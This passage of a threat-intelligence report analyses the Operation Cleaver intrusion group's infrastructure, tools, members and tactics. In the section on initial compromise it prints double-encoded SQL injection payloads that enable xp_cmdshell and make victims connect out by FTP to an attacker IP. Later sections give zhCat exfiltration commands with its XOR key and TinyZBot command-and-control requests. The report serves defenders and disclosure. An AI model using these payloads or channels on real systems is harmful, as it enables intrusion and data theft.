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•	 Doosan-Job.com                   • MicrosoftWindowsResources.com
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GoogleProductUpdate.net           • MicrosoftWindowsUpdate.net
•	   WindowsCentralUpdate.com
•	   WindowsUpdateServer.com
•	   DriverCenterUpdate.com
As is typical with malicious domains, the Whois data for most of these domains contained falsified
information.
We managed to obtain a large collection of the internally developed tools used by the Cleaver
team, many of which were developed by its members.
Due to operational security failures, these
tools contain information that provided us insight into their organization and operations.
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TOOLS & SOFTWARE
Shell Creator 2
In the tool named Shell Creator 2, there are three main components.
The creator generates
an ASPX web shell using user input as well as a collection of templates.
The web shell could
then be installed via xp_cmdshell, or any other method which would grant the attacker write
access.
The web shell is accessible by the shell client directly.
The shell client is a portion of Shell Creator 2 that was not designed to be run on a compromised
computer.
We originally located it on a staging server being utilized for multiple attacks as well as
a tool for sharing data between members of the organization’s team.
The shell client, which is developed in Java and is easily decompiled, is a simple interface with
a feature to protect the operator from making a critical mistake.
When executed, and before
any connection to an instance of the web shell is initiated, the shell client communicates with
freegeoip.net in order to get the external IP address of the current user.
The country of origin
is then shown to the user, to inform them of what country it appears they are connecting from.
The assumed purpose of this feature is to ensure that a proper proxy is in use, and the real origin
of the attacker is not revealed.
After decompiling the shell client, we found the following code segment controlling the display of
this IP location information.
Figure 5: Java source code showing how Shell Creator 2 distinguishes between a source IP address
coming from Iran (red) versus any other country (green).
This code handles the XML response from freegeoip.net, and displays the information
as different colors based on different attributes.
For instance, if the string “ERROR” is in the
response, the text is displayed with the color magenta.
If the string IRAN is in the response, the
text is displayed with the color red.
It should be noted that no other country name contains the
substring IRAN.
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Shell Creator 2 (cont.)
Figure 6: Shell Creator 2 alerts the user in red when the IP being used can be sourced to Iran.
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Figure 7: Shell Creator4
4    2 notifies the user in green when their source IP address is not Iran.
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Net Crawler
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Net Crawler is a tool developed in C# that exhibits worm-like behavior in order to gather cached
credentials from any and all accessible computers on an infected network.
This is done with
Windows Credential Editor (WCE) and Mimikatz in combination with PsExec.
Different versions of
this malware contain ASCII art which names the authoring group as Zhoupin (in “leetspeak” as
“Zh0up!n”).
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Figure 8: Net Crawler version 1.0 has ASCII art showing                Figure 9: Updated ASCII art found in Net
the use of “Zh0up!n” in the campaigns tools.
Crawler tool shows a version of “Zh0up!n”
shortened to simply “Zh0”.
For more information on Net Crawler, see the Tactics, Techniques and Procedures section.
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TinyZBot
TinyZBot is a bot written in C# and developed by the Cleaver team.
It is the longest developed
malware family discovered by this group, and has been used in campaigns for close to two
years.
How it operates can vary greatly from version to version.
For a detailed technical analysis
of TinyZBot, see the Tactics, Techniques and Procedures section.
As TinyZBot is developed in
C#, many versions can be decompiled to code very similar to their originals, including names
of namespaces.
Many versions were obfuscated with a legitimate tool for developers named
SmartAssembly, which makes the recovery of some names implausible.
We obtained multiple versions from which we were able to recover many of the original names of
variables and namespaces.
In a number of these samples, the primary namespace for TinyZBot
is named Zhoupin_Cleaver.
In every version of TinyZBot that is not obfuscated, there is a
code base referred to as Cleaver.
This code base is also shared in other malware developed by
this organization, such as Csext.
PrivEsc
PrivEsc is a blatant plagiarism of an existing exploit for Microsoft Windows released in January
2010 called MS10-015, “Vulnerabilities in Windows Kernel Could Allow Escalation of Privilege”,
popularly known as the KiTrap0D exploit which was released publicly.
The Cleaver team clearly
modified the source code and compiled a new version.
The only detectable modification was to
change the original author’s name to instead display the following:
Zhopin Exploit Team
This is not the only case of this team relabeling others’ work as their own.
Logger Module
Logger module is a component of the PVZ (PVZ is shorthand for Parviz, one of the members of
the Cleaver team) bot tool chain.
When executed, it will capture the user’s keystrokes and save
them to a location which PVZ bot then exfiltrates.
The logger module binary’s file description
value is the following:
ye file khube DG.
ba in ham kari nadashte bashin
Roughly translated from Persian, this text says:
DG is a good file, don’t bother with this
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Logger Module (cont.)
This text could potentially be a note intended to stay internal, or could be an attempt to persuade
an unsuspecting victim to assume the file is not malicious.
The Product Name value is GOOD FILE.
For more information on the PVZ bot tool chain, see the Tactics, Techniques, and Procedures
section.
CCProxy
CCProxy is a publicly available proxy server for Windows, which can handle a variety of protocols.
We do not believe that this organization was involved in the development or modification of
CCProxy, but they have been observed using it.
We recovered a CCProxy configuration, which
exposed various operational details.
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The configuration allowed for remote
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connections, limited by a username
limited IP range.
The username
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which is the default value.
The limited IP range
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covered one IP: 78.109.194.114.
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This IP address is located in Iran, and is owned by
Tarh Andishan.
The configuration also indicates which address
the CCProxy server should listen on for incoming
connections such as web (80) and mail (25).
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Figure 10 (above): CCProxy configuration file
using the hardcoded IP address registered to Tarh
Andishan.
Figure 11 (left): CCProxy configuration file showing the
use of web and mail as listening ports.
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NMAP Log
Log output from the network port scanning application NMAP was recovered from a staging
server.
This log was generated during the usage of the nbrute utility, which brute-forces network
credentials and relies on NMAP to do so.
The header of this NMAP log indicates that the computer
used to run nbrute/nmap was set to Iran Daylight Time at the time of execution.
Starting Nmap 6.25 at 2012-08-17 09:18 Iran Daylight Time
With no known victims located in Iran, it is likely that this was executed on an attacker’s computer,
and not on a victim’s computer.
Squid Configuration
A configuration file for a Squid proxy server was recovered.
Figure 12: Squid configuration file showing the use of Tarh Andishan’s IP address.
The net range of 78.109.194.114/28 was inserted into the allowed local networks with an RFC
comment appended in order to make it look like it was part of the default configuration.
It is likely
this is the same reason a /28 net range was used, in order to not look like it was intended to only
allow one IP.
This would give the same access to resources accessible from the Squid proxy server
to this Iranian IP address.
TARH ANDISHAN
Tarh Andishan is listed as the registrant for a number of small net blocks based upon the email
address tarh.andishan(at)yahoo.com.
The net blocks appear to rotate over time and
registrant information is altered to accommodate ongoing operations and avoid potential public
exposure.
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TARH ANDISHAN (cont.)
The networks are included below as well as the last time that net block was observed as active.
• 78.109.194.96/27 - Current
• 217.11.17.96/28 - 10/22/2014
• 81.90.144.104/29 - 10/5/2014
• 31.47.35.0/24 – 11/2012
There are many seemingly legitimate Tarh Andishan related companies inside Tehran, but strong
connections to Iranian backing have been difficult to prove definitively.
“Tarh Andishan” is often
translated as “Thinkers”, “Innovators” and “Inventors”.
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The net blocks above have strong associations with state-owned oil and gas companies.
These
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suspected in the past of launching attacks in the interest of Iran.
The
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operators of the blog IranRedLine.org, which comments on Iran’s nuclear weapons efforts, has
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mentioned in multiple posts having been the target of debilitating brute-force authentication attacks
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from IP addresses registered to the same Tarh Andishan team found in Cleaver.
In one of IranRedLine.org’s blog posts8, the author speculates on Tarh Andishan’s involvement
with the Iranian government by showing close proximity to SPND, the Organization of Defensive
Innovation and Research; however, the phone number listed under the registrant contact
information has yet to be completely validated.
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Figure 13: This image from IranRedLine.org demonstrates Tarh Andishan’s probably fabricated Whois
address to the proximity to Iran’s SPND (Organization of Defensive Innovation and Research).
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MEMBERS
During this investigation, we were able to compile a considerable amount of information on some of
the members of this organization.
The following profiles were built from reverse engineering, code
analysis, open source intelligence, incident response and forensics work.
Personally identifiable
information about these members is not being shared publicly as it could endanger their lives and
would be irresponsible.
Parviz
Parviz is a developer who worked on a variety of projects, and was primarily active in 2013.
His
development skillset is based around his ability to develop in C/C++.
He has been observed using
Visual Studio 2010, and his tools are written exclusively for Windows.
Some of his tools were found
to be packed with ASPack.
Parviz is the primary developer of the PVZ bot and multiple parts of its tool chain.
Parviz is likely
associated with the PVZ bot as his name in hardcoded into the PDB file paths.
The PVZ tool chain includes a variety of functionality, such as HTTP command and control
communications with an ASPX server-side component, a denial of service tool they developed, and
the public project named XYNTService used to run ordinary applications as services.
PDBs
• C:\Users\parviz\documents\visual studio 2010\Projects\BotManager\
Release\BotManager.pdb
• C:\Users\parviz\Documents\Visual Studio 2010\Projects\socket-test\
Release\socket-test.pdb
• C:\Users\parviz\Documents\Visual Studio 2010\Projects\
XYNTServiceProject\XYNTServiceProject\Debug\XYNTService.pdb
• C:\Users\Parviz\documents\visual studio 2010\Projects\SendModule\
Release\SendModule.pdb
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Nesha
Nesha is one of the offensive members of this organization.
Nesha was seen in breaches involving
SQL injection as well as other techniques.
Nesha often utilized web-based backdoors developed
in ASPX, PHP as well as ColdFusion.
A copy of an MS08-067 exploit developed in Python was
recovered in which Nesha shamelessly replaced the original author’s name with his own.
Nesha’s passwords very commonly include own handle.
His passwords were frequently stored
as hashes in backdoors, but common hash cracking methods were able to recover the plaintext
versions.
His observed password use is as follows:
•   nesha nesha used as password in ColdFusion backdoors
•   NeshaNesha12 used as password in ASPX backdoors.
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•   nesha123 was found as a password in a recovered credential file with unknown association
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Cylance observed Nesha participating in compromises involving the following techniques:
• SQL injection
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•   Web backdoors
•   Cached credential dumping
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Nesha has additionally been identified using a variety of internally developed tools as well as the
following publicly available tools:
•   Cain & Abel
•   PsExec
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Alireza
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Alireza appears to be one of the senior developers of this organization.
His tools are commonly
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developed in C++, Java, and C# (desktop and ASPX).
These tools are often support tools, either
monitoring the activity of other tools or supplementing the function of other tools gathering
information during the infiltration process.
Alireza’s code appears to be reused internally on
projects such as TinyZBot.
Alireza appears to be using a version control system for his code, and
it is likely that others are using the same system.
Based on the paths, the version control system in
use is likely Apache’s Subversion.
Use of a version control system is indicative of code sharing, but
the use of an older system like Subversion, along with other evidence, suggests there is not a large
amount of collaboration on projects and likely one developer working on each project at a time.
This is not behavior typical of a professional development team.
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Alireza (cont.)
Alireza’s C# tools include the following techniques:
•    Querying Windows Management Instrumentation Command-line (WMIC)
•    Cached credential dumping
•    Generating ASPX shells
•    Encryption
•    Process enumeration
Alireza’s Java tools include the following techniques:
•    HTTP communications
•    GUI development
Alireza’s C++ tools include the following techniques:
•    WinPcap interface
•    ARP poisoning
•    HTTP communications
•    SMB communications
PDBs
• C:\Users\alireza\Documents\Visual Studio 2010\CPPProjects\IDCSercive\
trunk\Release\kagent.pdb
• C:\Users\alireza\Documents\Visual Studio 2010\CPPProjects\
PcapServiceInstaller\Release\PcapServiceInstaller.pdb
• C:\Users\alireza\Documents\Visual Studio 2010\Projects\
AntiVirusDetectorConsole\AntiVirusDetectorConsole\obj\x86\Release\
AntiVirusDetectorConsole.pdb
• C:\Users\alireza\Documents\Visual Studio 2010\Projects\
mimikatzWrapper\mimikatzWrapper\obj\x86\Debug\mimikatzWrapper.pdb
• C:\Users\alireza\Documents\Visual Studio 2010\Projects\ShellCreator2\
ShellCreator2\obj\x86\Debug\ShellCreator2.pdb
• c:\Users\alireza\Documents\Visual Studio 2012\Projects\BackDoorLogger\
BackDoorLogger\obj\Debug\BackDoorLogger.pdb
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kaJ
kaJ is a .NET developer, and has only been observed working in C#.
He has less English language
proficiency than others in the organization, and likely has a supplemental role during compromises.
He has been observed developing tools which cater to specific challenges in a compromise.
His
notable project was named Net Crawler, and a technical analysis of this tool can be found in the
Tactics, Techniques and Procedures section.
Thanks to a recovered test configuration for Net
Crawler, we were able to determine that kaJ’s development computer has the name dev-castle,
where he has the username kaJ and the password oaolrJ@vad.
kaJ is believed to be the creator
of the Zhoupin ASCII art displayed in Net Crawler.
kaJ’s projects include the following techniques.
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•   Interfacing with multiple cached credential dumping tools
•   Interfacing with PsExec
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Jimbp is a .NET developer with minimal experience.
His projects appear to be supplemental to
TinyZBot and are very simplistic.
It is believed he is the developer of the project Binder_1.
This
project was a simple malware binder which required manual configuration when compiling.
His
other work included creating a new service wrapper for TinyZBot.
PDBs
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• c:\Users\Jimbp\Desktop\Binder_1\Binder_1\obj\x86\Release\Setup.pdb
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• c:\Users\Jimbp\Desktop\Binder_1 - for cleaver\Binder_1\obj\x86\
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• c:\Users\Jimbp\Documents\Visual Studio 2013\Projects\
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TEAMS
Of course many associated Iranian hacker teams have been identified in public and private
security circles.
Some of the teams publicly known today include Iranian Cyber Army, Ashiyane,
Islamic Cyber Resistance Group, Izz ad-Din al-Qassam Cyber Fighters, Parastoo, Shabgard, Iran
Black Hats and many others9.
However, even though the TTPs of the Cleaver team have some overlap to techniques used by
Iranian Cyber Army (botnets), Ashiyane (SQL injection) and Syrian Electronic Army (phishing and
RATs), we believe this is largely the work of a new team.
Some connections to Ashiyane were
discovered in our investigations including a reference to hussein1363, who had prior ties to
the hacker group.
Additional connections between team members and individuals exist but are
predominantly speculative and have only been shared with law enforcement.
Ultimately we believe the Cleaver team is a mix of existing team members and new recruits
pulled from the universities in Iran.
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TACTICS, TECHNIQUES
& PROCEDURES
TTP COVER HERE
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TACTICS, TECHNIQUES & PROCEDURES
The Cleaver campaign used a variety of methods in multiple stages of attacks.
In this section we’ll
cover the commonly observed methods during different stages of the attack.
INITIAL COMPROMISE
The initial compromise gets the attackers their first foothold into the target network.
Once the
ability to execute arbitrary code has been established, an attacker’s job becomes quite a bit
easier.
Since the vector of initial compromise is usually determined by what is vulnerable on the
target, we’ll cover just a few of the techniques we’ve seen Operation Cleaver use to initiate the
compromise.
SQL Injection
SQL injection is a very common and simple attack method.
It is made possible by a lack of input
sanitization by the vulnerable application before supplying that input into a SQL database query.
SQL injection payloads used by this organization have been double encoded.
Double encoding
SQL injection payloads allows for bypassing of various anti-exploitation filters, such as those
supplied by Web Application Firewalls (WAFs).
The attackers would enable xp_cmdshell:
http://localhost/Demos/demo.cfm?Edit%26ID=111;declare%20@b1%20varchar(8000);set%20@
b1=%20show advanced options;declare%20@b2%20varchar(8000);set%20@b2=%20xp_
cmdshell;%20EXEC%20master.dbo.sp_configure%20@b1,%201;RECONFIGURE;EXEC%20master.dbo.
sp_configure%20@b2,%201;RECONFIGURE;--%20
Then connect outbound via anonymous FTP:
http://localhost/Demos/demo.cfm?Edit%26ID=111;declare%20@b1%20varchar(8000);set%20@
b1=%20ftp -A 108.175.152.230;%20exec%20master..xp_cmdshell%20@b1--%20
Spear-Phishing Campaign
Using messaging methods such as email, attackers can social engineer users into downloading
and executing software, which quietly installs malware alongside of the desired program.
Operation Cleaver has employed this technique numerous times across different organizations.
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EasyResumeCreatorPro.com
The domain EasyResumeCreatorPro.com was registered and a website setup which was a direct
copy of a legitimate website at winresume.com.
This is how the original site looked:
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Figure 14: The original Easy Résumé Creator Pro website on winresume.com is legitimate.
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Figure 15: The fraudulent website, easyresumecreatorpro.com, is a fraudulent copy of the Easy
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Resume Creator Pro website to lure job candidates to download and install their TinyZBot agent.
That’s not all they copied.
In order to infect users, they combined the original Easy Resume Creator
Pro product with malware by using a binder they developed internally named Binder_1.
A binder
is an application, which combines two executables (desired software and malware) into a single
executable.
The resulting executable masquerades as the desired software.
The purpose is deception, to make
the binder indistinguishable from the desired application.
When executed, both applications are
written to a temporary directory and executed.
This way it appears that the desired application was
executed, but the malware was also executed silently.
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Teledyne Résumé Submitter
This attack evolved to appear more legitimate.
The
attackers made the victims feel like they had a pending
job opportunity at the industrial conglomerate Teledyne.
In
order to take advantage of this job opportunity, the victim
needed to use the fake résumé submission application
supplied by the malicious recruiter.
Multiple domains were
registered in order to make the download sites seem more
realistic.
These domains included other companies as they
tried to hit a wider audience.
Figure 16: When the résumé submitting
application is executed, a splash screen is
displayed.
• Teledyne-Jobs.com
• Doosan-Job.com
• NorthropGrumman.net
At this point, the résumé submission application checks the
Internet connection.
If it is unable to connect to the Internet,
it will display a window to input proxy information.
When this information is entered, the results are cached
in a location the dropped malware can access.
After an
Internet connection is ensured, the malware (TinyZbot) is
dropped and executed.
This clever scheme makes sure the
malware can connect to the command and control server,
Figure 17: Unable to connect to the Internet, the
and increases the chances that domain credentials are
tool prompts the user for proxy configuration
information.
cached on the now infected machine.
Shortly after, the main
application is launched.
Figure 18: Final résumé submission form
displays to the user while the malware runs
freely in the background.
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Teledyne Résumé Submitter (cont.)
The first résumé submission form requests contact information.
This form, like the rest of the
submission forms, only stores the submitted information while the application is running.
As the
infected user is going through and filling out all this information, the malware is running in the
background, logging their keystrokes, retrieving their stored passwords, etc.
Once all the forms are
filled out, the user goes to the submission form.
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Figure 19: GET request to www.microsoft.com fakes the résumé submission.
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When the victim hits submit, the résumé submitter does a GET request to microsoft.com in order
to make it seem like it is submitting something, then claims success.
This method is particularly effective not only because of its level of deception, but even if the victim
suspects that they are infected with malware, they are not as likely to speak up about it, as they
would need to explain why they were submitting a job application for another company.
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PRIVILEGE ESCALATION & PIVOTING
Privilege escalation is a category of techniques that describe the process of going from a less
privileged user on a compromised computer to a more privileged user.
This increase in privileges
allows for the attacker to gain access to privleged areas of the operating system as well as to
infect other computers on the target network.
This team did not utilize any novel methods of privilege escalation, but they were observed
using a variety of publicly known exploits.
PrivEsc is a compiled exploit, which leverages
the vulnerability commonly referred to as KiTrap0D (CVE-2010-0232).
The exploit allows for
escalation of privileges on unpatched Windows operating systems from an unprivileged user to
kernel-level privilege.
This vulnerability and the corresponding exploit were discovered and developed in 2010.
The plagiarized version used in Operation Cleaver was compiled in May 2013, with a slight
modification to the public source code.
This modification changed the author’s details to Zhopin
Exploit Team.
Pivoting is the process of leveraging access from one compromised computer in order to gain
access to additional systems on the target network.
This can involve launching attacks from the
compromised computer, or simply abusing access once it has been gained.
Cached Credential Dumping
A very common method of pivoting on a predominantly Windows operating system based
network is to extract domain credentials which have been used on the compromised computer
from a credential cache.
There are a few well-known tools which are capable of doing this given
sufficient privileges on the infected host.
Two of these tools used by Cleaver are Mimikatz and
Windows Credential Editor.
zhMimikatz and MimikatzWrapper
Two similar applications were developed by Operation Cleaver in order automate the execution
of Mimikatz.
These applications are zhMimikatz and MimikatzWrapper.
These applications store
multiple versions of Mimikatz in their resources.
When executed, they determine which version
of Mimikatz to use based on whether the computer’s version of Windows is 32-bit or 64-bit.
This
technique is uncommon in malware and shows the advanced skillset of the Cleaver team.
Both
tools were developed in C#.
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zhMimikatz and MimikatzWrapper (cont.)
In the following examples, the computer name is TheComputerName, the username of the
logged in user is TheUser, and that user’s password is ThePassword.
At the time of execution,
the system only has its own credentials available and no cached network credentials.
zhMimikatz
zhMimikatz executes the correct version of Mimikatz for the current system, and parses the results
for any cached credentials.
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Figure 20: zhMimikatz
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MimikatzWrapper
Output from MimikatzWrapper is essentially the same as zhMimikatz, despite being a different
Visual Studio project.
Figure 21: The MimikatzWrapper.
The only external difference is that MimikatzWrapper also logs these results to res.txt in the
executing directory.
This can make it useful for tools like the PVZ tool chain and Csext to execute
with logged results:
Figure 22: The MimikatzWrapper dumps credentials out to a file.
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PsExec Spreading
Once an attacker has credentials extracted from the cache, whether in hash form or in plaintext
form, PsExec can be used to run commands on any other computer which accepts those domain
credentials.
If this technique is combined with cached credential dumping, it can be used to jump
from computer to computer on a compromised network.
NetC (Net Crawler)
Net Crawler utilizes a cached credential dumping technique along with PsExec in order to
worm throughout a network, collecting any and all credentials that it can extract from credential
caches.
It has the ability to do this with both Windows Credential Editor and Mimikatz.
It starts by
first extracting cached credentials from the infected computer’s cache.
Once this is complete, it
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then continues to scan a set of configured IP addresses on the local subnet to determine which
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IP addresses have SMB related ports open.
Then an iterative methodology is applied to brute
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forcing each SMB enabled target with each credential that was extracted from the cache.
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When a positive result has been achieved, it will create a copy of itself with a modified
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configuration stored as a PE resource, then send and execute the copy utilizing PsExec.
This
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copy repeats the behavior of the original, but with already discovered credentials as well as
newly discovered ones on the newly infected host.
Any credentials found are reported back to
the original infection.
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NetC (Net Crawler) cont.
The following is a sample of some of the recovered results of Net Crawler executing on a live
network:
Figure 23: The real output of a successfully run NetC effort at a victim organization.
A more in depth analysis of Net Crawler, as part of the A Study in Bots series, will be available on
Cylance’s blog.
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MS08-067 Exploit
MS08-067 is a vulnerability in Microsoft Windows made popular by the Conficker worm which can
be exploited by a specially crafted packet to the operating system’s RPC network interface.
This
vulnerability has been patched since October 2008, but many networks have failed to update their
systems even to this day.
Operation Cleaver used a plagiarized version of a publicly available exploit for this vulnerability
developed in Python.
Someone in the Cleaver team (presumed to be Nesha) modified the exploit to
read “By Nesha”.
Jasus
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Jasus is an ARP cache poisoner developed by the Operation Cleaver team.
It makes use of
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WinPcap and is developed in C. Compared to some other publicly available ARP cache poisoning
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utilities, Jasus is poorly developed and without many useful features.
The primary positive attribute
of Jasus is its poor detection ratio by the antivirus industry.
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Cain & Abel
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Cain & Abel is a publicly available toolkit, which covers a wide range of functionality that assists
attackers once they have compromised a node on a network.
It has the ability to dump stored and
cached credentials, and conduct attacks like ARP cache poisoning in order to capture credentials
being transmitted on the network.
It also has a remotely installable trojan named Abel, which
enables some of its functionality on a remote target.
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and the network when they are confident that there is little to no antivirus protection on the infected
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Exfiltration is the process of moving information to an external site.
In this context, it is the process
of stealing information without being detected.
Operation Cleaver has a strong focus on stealing
confidential/privileged information, and they have utilized a few methods in order to facilitate this
objective.
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Anonymous FTP Servers
Cleaver Operations observed in 2013 mainly utilized FTP servers with anonymous access
enabled in order to pilfer large quantities of information.
This allowed them to use existing
command line utilities available on their targets in order to upload information.
This is a versatile
technique as it does not require any additional software which could be detected.
These
FTP servers were also observed during the infection process, as infected computers were
often instructed to download additional files from these FTP servers, including backdoors and
pivoting tools.
The following IP addresses hosted FTP servers that were used in the infection of targets or in
the exfiltration of information.
•    108.175.152.230      – Santa Rosa, CA, USA
•    108.175.153.158      – Santa Rosa, CA, USA
•    184.82.181.48 –      Pilot Mountain, North           Carolina, USA
•    203.150.224.249      - Thailand
•    64.120.208.74 -      Pilot Mountain, North           Carolina,     USA
•    64.120.208.75 -      Pilot Mountain, North           Carolina,     USA
•    64.120.208.76 -      Pilot Mountain, North           Carolina,     USA
•    64.120.208.78 -      Pilot Mountain, North           Carolina,     USA
•    66.96.252.198 -      Pilot Mountain, North           Carolina,     USA
NetCat
NetCat is a network tool which has many valid purposes but can also be used for malicious
purposes.
Its main functionality allows for a client and server communication channel, allowing
for information to be transported over the network simply.
NetCat has an option when being
compiled to enable or disable the ability for NetCat to execute a command after the connection
is established.
This feature can be abused to enable a reverse connecting shell, which can be
used to remotely control a target.
NetCat’s network communications are in plaintext, and could be viewed by an egress filter
looking to block the exfiltration of sensitive information.
The Operation Cleaver team was
observed attempting to use NetCat to exfiltrate information as well as use it as a reverse
connecting shell.
The use of NetCat was later replaced with zhCat.
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zhCat
zhCat is a tool developed by the Operation Cleaver team which operates similarly to NetCat.
Its
main purpose is to create a channel that is capable of transporting information over the network.
The changes made in zhCat allow for this information to be transferred with inline obfuscation and/
or encryption.
This makes it more difficult to detect that privileged information is being exfiltrated.
The command line help (of a particular version) shows the following options:
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Multiple obfuscation/encryption methods are available.
The –h argument enables HTTP mode.
This makes the traffic between zhCat instances look like benign HTTP traffic.
For instance, if the
attackers set up a zhCat instance listening on port 1000 on 192.168.116.128 in HTTP mode, the
client instance of zhCat would use the following command:
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zhcat.exe –h –p 1000 –i 192.168.116.128
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The server instance would use the following command:
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When we run both of these, we can send information just by typing it into the terminal of the
running application.
Information can be supplied by standard input.
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zhCat (cont.)
If we observe the network communications during this transfer, we can see the following HTTP
POST request.
Note: research into ebizmba.com did not turn up any additional evidence of being involved
with the development of zhCat.
On the server side, we can see our message has been received:
If stricter egress filtering is enabled, the attackers can use zhCat to also XOR encrypt the traffic
with a shared key.
These keys are stored inside zhCat.
The following is the key used for XOR
encryption:
Sorry!
The handle to file %s is not a valid handle any more.\nSorry!
The handle to file %s is not a valid handle any more.
The \n represents hex character 0x0A, which is a new line character.
An attacker could set up a server instance of zhCat with the following command in order to
enable both HTTP and XOR obfuscation:
zhcat.exe –h –p 1000 –l –x
The client instance could then be invoked with the following command:
zhcat.exe –h –p 1000 –i 192.168.116.128 –x
Once again, information can be supplied via standard input.
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zhCat (cont.)
Upon inspecting the network traffic again, we see the following HTTP POST request.
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On the server side, we can
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zhCat has a variety of other features such as port mirroring as well as traffic redirecting.
PLink
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PLink is one of the many utilities provided in the PuTTY (SSH) suite, which has many benign
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purposes.
It is capable of communicating over various protocols, the most notable being SSH.
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administration of UNIX based operating systems.
PLink is designed to implement some of the
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SSH functions related to forwarding traffic as well as other functionality.
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Operation Cleaver uses PLink to forward local RDP ports to remote SSH servers.
This allows them
to easily connect to RDP servers inside the networks of their victims.
These RDP connections can
be used to exfiltrate information visually, as well as to remotely control the computers hosting the
RDP servers.
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SMTP
Early Cleaver operations abused SMTP in order to exfiltrate information.
The sending is
performed by internally developed malware samples such as TinyZBot and Csext in order to
exfiltrate information about the infected computer, as well as requested files and keystroke
logging information.
Messages were sent using an open SMTP relay at BeyondSys.com with
the sender email address dyanachear(at)beyondsys.com.
This allowed the attackers to use
infrastructure that was not theirs to exfiltrate information.
The known recipient addresses of this
information were testmail_00001(at)yahoo.com and TerafficAnalyzer(at)yahoo.
com.
In order to deceive anyone reading these emails, they made them appear to be a spam
message that most would not think twice about.
The subject used is the following:
No Prescription required.
Viagra Dosages: 25, 100, 150mg.
Fast worldwide delivery.
The message used is the following:
Buy Viagra150mg x 50 tablets for only $124.99!
No Prescription required.
Viagra dosages: 150, 100, 25mg.
Fast
Worldwide Delivery.
See the attachment movie.
Free bonus trip.
bestviagra4u.cn
The files being exfiltrated are added to the email as attachments.
SOAP
SOAP is a sub-protocol communicated via HTTP.
In relation to Operation Cleaver, it is used as the
command and control protocol for TinyZBot, which was the preferred backdoor, and underwent
long-term development.
HTTP communications are often used by botnets, but it is uncommon
to use a sub-protocol such as SOAP.
It is likely that SOAP was used because it is simple to
implement in C#, and has the added benefit of blending in with other benign HTTP traffic.
As part of TinyZBot’s command and control protocol, files can be exfiltrated over SOAP to the
command and control server.
For more information about TinyZBot, see the Persistence section.
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PERSISTENCE
Persistence is the means of maintaining access to a compromised network.
There are limitless
methods of persistence; the following are techniques and tools for persistence used by Cleaver.
TinyZBot
TinyZBot is a backdoor developed in C#.
This bot is the longest developed malware we have
analyzed from this organization.
The earliest known version was compiled in January 2013 and
we continued to see new versions being created actively.
The purpose of TinyZBot is to gather
information from an infected computer as well as maintain and further access into a compromised
network.
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TinyZBot was developed with the clear intention of targeted campaigns.
The name TinyZBot is
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it does not exhibit the major browser injection features of ZeuS.
To be clear, TinyZBot shares
no code with ZeuS or its variants, and is developed in a different programming language.
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TinyZBot Features
TinyZBot supports a wide array of features that continually evolved over time.
For the evolution of
features, see the History section.
The following is a list of supported features:
•   SMTP exfiltration
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•   Log keystrokes
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•   Monitor clipboard activity
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•   Enable a SOAP-based command and control channel
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•   Self-updating
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•   Download and execute arbitrary code
•   Capture screenshots        86
•
•
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Extract saved passwords for Internet Explorer
Install as a service
•   Establish persistence by shortcut in startup folder
•   Provide unique malware campaign identifiers for tracking and control purposes
•   Deceptive execution methods
•   Dynamic backdoor configuration
•   FTP exfiltration
•   Security software detection
•   Ability to disable Avira antivirus
•   Ability to modify PE resources
•   Dynamic plugin structure
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TinyZBot Command and Control Protocol
The command and control mechanism for TinyZBot utilizes SOAP communicating over HTTP.
Potential reasons for using SOAP are:
1.
SOAP-based communications are simple to implement in C#.
2.
SOAP traffic could easily be considered benign traffic, as it is not commonly seen in malware.
As part of SOAP communications, a URI is specified.
This is internal to the sub-protocol, and does
not necessarily reflect the URI of the host running the SOAP server (ASMX file).
In the case of
TinyZBot, and many examples for developing SOAP applications, this URI is tempuri.org.
Since the first version of the SOAP-based command and control protocol was implemented,
TinyZBot used what is referred to as a “dynamic password”.
The result of this is a
cryptographically hashed version of the server time (which must be obtained through a SOAP
query), the TinyZBot’s GUID, and the TinyZBot’s AppUsageID (campaign identifier).
For the command and control examples below, red text represents TCP data sent from the
TinyZBot infection while blue text represents TCP data sent from the command and control
server.
The server time lookup query invokes the SOAP command GetServerTime.
POST /checkupdate.asmx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
Content-Type: text/xml; charset=utf-8
SOAPAction: “http://tempuri(dot)org/GetServerTime”
Host: microsoftactiveservices(dot)com
Content-Length: 291
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
<?xml version=”1.0” encoding=”utf-8”?><soap:Envelope
xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsi=”http://www.w3.org/2001/
XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”><soap:Body><GetServerTime xmlns=”http://tempuri.
org/” /></soap:Body></soap:Envelope>
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Mon, 06 Oct 2014 13:36:47 GMT
Content-Length: 392
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TinyZBot Command and Control Protocol (cont.)
<?xml version=”1.0” encoding=”utf-8”?><soap:Envelope
xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:xsi=”http://www.w3.org/2001/
XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001 XMLSchema”><soap:Body><GetServerTimeResponse xmlns=”http://
tempuri.org/”><GetServerTimeResult>2014-10-06T13:36:47.2193601Z</GetServerTimeResult></
GetServerTimeResponse></soap:Body></soap:Envelope>
This is the first query done by a running TinyZBot instance, and needs to be done shortly before
most other queries, in order to update the dynamic password.
Commands, updates and files to drop and execute are stored as files on the SOAP server, and
access is restricted by the AppUsageID as well as the bot GUID.
This allows for commands to be
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sent to all bots for a campaign as well as individual control.
The TinyZBot queries the server in
order to enumerate all files currently available to it.
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User-Agent: Mozilla/4.0 2
POST /checkupdate.asmx HTTP/1.1
(compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
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Content-Type: text/xml; charset=utf-8
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SOAPAction: “http://tempuri(dot)org/GetFileList”
Host: microsoftactiveservices(dot)com
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Content-Length: 425
Expect: 100-continue
HTTP/1.1 100 Continue
<?xml version=”1.0” encoding=”utf-8”?><soap:Envelope xmlns:soap=”http://schemas.xmlsoap.org/
soap/envelope/”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd=”http://www.w3.org/2001/
XMLSchema”><soap:Body><GetFileList xmlns=”http://tempuri(dot)org/”><Id>00cf6217-8c7e-4598-
